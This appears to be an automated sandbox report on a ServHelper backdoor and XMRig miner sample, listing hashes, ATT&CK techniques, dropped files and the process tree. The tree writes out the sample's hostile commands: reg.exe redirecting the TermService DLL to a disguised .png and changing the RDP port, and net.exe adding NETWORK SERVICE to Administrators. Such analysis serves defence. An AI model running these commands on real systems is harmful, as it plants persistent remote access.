servhelper | 82285ac0988c68f9b9ecc7649cb9c6a3f3ecb242dd198465dbd4236d7fa6a59c

Analysis

max time kernel
146s
max time network
157s
platform
windows10_x64
resource
win10-en-20210920
submitted
26-09-2021 14:52

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General

Target

748b112881047820f530c202bb59488e.exe
Size

4.0MB
MD5

748b112881047820f530c202bb59488e
SHA1

edf77f969bf54a47b21e6179cbcabb4651706d7c
SHA256

82285ac0988c68f9b9ecc7649cb9c6a3f3ecb242dd198465dbd4236d7fa6a59c
SHA512

252640d935ce3c7885fa48496b1b9c405f5dc9e719eda9c965d5fec46f877c00a7d96b14acf7410fbef9dbbfa9723932b54cdc75084fdd54e492eaa8d6f37ad6

Score

10^/10

servhelper xmrig backdoor miner persistence trojan

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1164	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3188	powershell.exe
3188	powershell.exe
3188	powershell.exe
3680	powershell.exe
3680	powershell.exe
3680	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
1044	powershell.exe
1044	powershell.exe
1044	powershell.exe
3188	powershell.exe
3188	powershell.exe
3188	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
624	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3188	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 3188	1840	748b112881047820f530c202bb59488e.exe	71
PID 1840 wrote to memory of 3188	1840	748b112881047820f530c202bb59488e.exe	71
PID 1840 wrote to memory of 3188	1840	748b112881047820f530c202bb59488e.exe	71
PID 3188 wrote to memory of 648	3188	powershell.exe	73
PID 3188 wrote to memory of 648	3188	powershell.exe	73
PID 3188 wrote to memory of 648	3188	powershell.exe	73
PID 648 wrote to memory of 940	648	csc.exe	74
PID 648 wrote to memory of 940	648	csc.exe	74
PID 648 wrote to memory of 940	648	csc.exe	74
PID 3188 wrote to memory of 3680	3188	powershell.exe	75
PID 3188 wrote to memory of 3680	3188	powershell.exe	75
PID 3188 wrote to memory of 3680	3188	powershell.exe	75
PID 3188 wrote to memory of 3784	3188	powershell.exe	77
PID 3188 wrote to memory of 3784	3188	powershell.exe	77
PID 3188 wrote to memory of 3784	3188	powershell.exe	77
PID 3188 wrote to memory of 1044	3188	powershell.exe	79
PID 3188 wrote to memory of 1044	3188	powershell.exe	79
PID 3188 wrote to memory of 1044	3188	powershell.exe	79
PID 3188 wrote to memory of 3980	3188	powershell.exe	81
PID 3188 wrote to memory of 3980	3188	powershell.exe	81
PID 3188 wrote to memory of 3980	3188	powershell.exe	81
PID 3188 wrote to memory of 1164	3188	powershell.exe	82
PID 3188 wrote to memory of 1164	3188	powershell.exe	82
PID 3188 wrote to memory of 1164	3188	powershell.exe	82
PID 3188 wrote to memory of 1812	3188	powershell.exe	83
PID 3188 wrote to memory of 1812	3188	powershell.exe	83
PID 3188 wrote to memory of 1812	3188	powershell.exe	83
PID 3188 wrote to memory of 2040	3188	powershell.exe	84
PID 3188 wrote to memory of 2040	3188	powershell.exe	84
PID 3188 wrote to memory of 2040	3188	powershell.exe	84
PID 2040 wrote to memory of 864	2040	net.exe	85
PID 2040 wrote to memory of 864	2040	net.exe	85
PID 2040 wrote to memory of 864	2040	net.exe	85
PID 3188 wrote to memory of 1428	3188	powershell.exe	86
PID 3188 wrote to memory of 1428	3188	powershell.exe	86
PID 3188 wrote to memory of 1428	3188	powershell.exe	86
PID 1428 wrote to memory of 640	1428	cmd.exe	87
PID 1428 wrote to memory of 640	1428	cmd.exe	87
PID 1428 wrote to memory of 640	1428	cmd.exe	87
PID 640 wrote to memory of 3112	640	cmd.exe	88
PID 640 wrote to memory of 3112	640	cmd.exe	88
PID 640 wrote to memory of 3112	640	cmd.exe	88
PID 3112 wrote to memory of 2356	3112	net.exe	89
PID 3112 wrote to memory of 2356	3112	net.exe	89
PID 3112 wrote to memory of 2356	3112	net.exe	89
PID 3188 wrote to memory of 656	3188	powershell.exe	90
PID 3188 wrote to memory of 656	3188	powershell.exe	90
PID 3188 wrote to memory of 656	3188	powershell.exe	90
PID 656 wrote to memory of 3292	656	cmd.exe	91
PID 656 wrote to memory of 3292	656	cmd.exe	91
PID 656 wrote to memory of 3292	656	cmd.exe	91
PID 3292 wrote to memory of 3160	3292	cmd.exe	92
PID 3292 wrote to memory of 3160	3292	cmd.exe	92
PID 3292 wrote to memory of 3160	3292	cmd.exe	92
PID 3160 wrote to memory of 3508	3160	net.exe	93
PID 3160 wrote to memory of 3508	3160	net.exe	93
PID 3160 wrote to memory of 3508	3160	net.exe	93
PID 3188 wrote to memory of 3680	3188	powershell.exe	97
PID 3188 wrote to memory of 3680	3188	powershell.exe	97
PID 3188 wrote to memory of 3680	3188	powershell.exe	97
PID 3188 wrote to memory of 3712	3188	powershell.exe	98
PID 3188 wrote to memory of 3712	3188	powershell.exe	98
PID 3188 wrote to memory of 3712	3188	powershell.exe	98

C:\Users\Admin\AppData\Local\Temp\748b112881047820f530c202bb59488e.exe
"C:\Users\Admin\AppData\Local\Temp\748b112881047820f530c202bb59488e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zea4ipco\zea4ipco.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:648
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES14A2.tmp" "c:\Users\Admin\AppData\Local\Temp\zea4ipco\CSC3DC7E20752B24731AA2DA089C7149AA5.TMP"
      4⤵
      PID:940
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3680
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3784
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3980
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1164
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1812
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:864
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:640
    - - C:\Windows\SysWOW64\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3112
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2356
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:656
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3292
    - - C:\Windows\SysWOW64\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3160
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3508
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:3680
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:3712

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1044-698-0x0000000004812000-0x0000000004813000-memory.dmp

Filesize
4KB

Download
memory/1044-697-0x0000000004810000-0x0000000004811000-memory.dmp

Filesize
4KB

Download
memory/1044-742-0x000000007EE70000-0x000000007EE71000-memory.dmp

Filesize
4KB

Download
memory/1840-124-0x0000000007D40000-0x0000000007D41000-memory.dmp

Filesize
4KB

Download
memory/1840-115-0x0000000000FB0000-0x0000000000FB1000-memory.dmp

Filesize
4KB

Download
memory/1840-123-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/1840-122-0x0000000000FB4000-0x0000000000FB5000-memory.dmp

Filesize
4KB

Download
memory/1840-121-0x00000000058C0000-0x00000000058C1000-memory.dmp

Filesize
4KB

Download
memory/1840-120-0x0000000005BE0000-0x0000000005BE1000-memory.dmp

Filesize
4KB

Download
memory/1840-118-0x0000000000FB2000-0x0000000000FB3000-memory.dmp

Filesize
4KB

Download
memory/1840-119-0x0000000000FB3000-0x0000000000FB4000-memory.dmp

Filesize
4KB

Download
memory/1840-116-0x00000000052E0000-0x00000000056DF000-memory.dmp

Filesize
4.0MB

Download
memory/3188-136-0x0000000007D60000-0x0000000007D61000-memory.dmp

Filesize
4KB

Download
memory/3188-132-0x0000000007430000-0x0000000007431000-memory.dmp

Filesize
4KB

Download
memory/3188-1052-0x000000007EB50000-0x000000007EB51000-memory.dmp

Filesize
4KB

Download
memory/3188-128-0x0000000004E20000-0x0000000004E21000-memory.dmp

Filesize
4KB

Download
memory/3188-129-0x0000000007080000-0x0000000007081000-memory.dmp

Filesize
4KB

Download
memory/3188-130-0x0000000007082000-0x0000000007083000-memory.dmp

Filesize
4KB

Download
memory/3188-131-0x00000000076C0000-0x00000000076C1000-memory.dmp

Filesize
4KB

Download
memory/3188-133-0x0000000007600000-0x0000000007601000-memory.dmp

Filesize
4KB

Download
memory/3188-135-0x0000000007F90000-0x0000000007F91000-memory.dmp

Filesize
4KB

Download
memory/3188-137-0x00000000086A0000-0x00000000086A1000-memory.dmp

Filesize
4KB

Download
memory/3188-138-0x0000000008600000-0x0000000008601000-memory.dmp

Filesize
4KB

Download
memory/3188-144-0x0000000009C60000-0x0000000009C61000-memory.dmp

Filesize
4KB

Download
memory/3188-145-0x0000000009320000-0x0000000009321000-memory.dmp

Filesize
4KB

Download
memory/3188-176-0x0000000009610000-0x0000000009611000-memory.dmp

Filesize
4KB

Download
memory/3188-153-0x0000000009280000-0x0000000009281000-memory.dmp

Filesize
4KB

Download
memory/3188-155-0x0000000007083000-0x0000000007084000-memory.dmp

Filesize
4KB

Download
memory/3680-198-0x0000000009220000-0x0000000009253000-memory.dmp

Filesize
204KB

Download
memory/3680-206-0x0000000009200000-0x0000000009201000-memory.dmp

Filesize
4KB

Download
memory/3680-186-0x00000000052F0000-0x00000000052F1000-memory.dmp

Filesize
4KB

Download
memory/3680-412-0x0000000008E70000-0x0000000008E71000-memory.dmp

Filesize
4KB

Download
memory/3680-406-0x0000000009430000-0x0000000009431000-memory.dmp

Filesize
4KB

Download
memory/3680-213-0x0000000009550000-0x0000000009551000-memory.dmp

Filesize
4KB

Download
memory/3680-212-0x0000000009360000-0x0000000009361000-memory.dmp

Filesize
4KB

Download
memory/3680-211-0x000000007F600000-0x000000007F601000-memory.dmp

Filesize
4KB

Download
memory/3680-187-0x00000000052F2000-0x00000000052F3000-memory.dmp

Filesize
4KB

Download
memory/3784-441-0x00000000072E0000-0x00000000072E1000-memory.dmp

Filesize
4KB

Download
memory/3784-468-0x000000007F560000-0x000000007F561000-memory.dmp

Filesize
4KB

Download
memory/3784-442-0x00000000072E2000-0x00000000072E3000-memory.dmp

Filesize
4KB

Download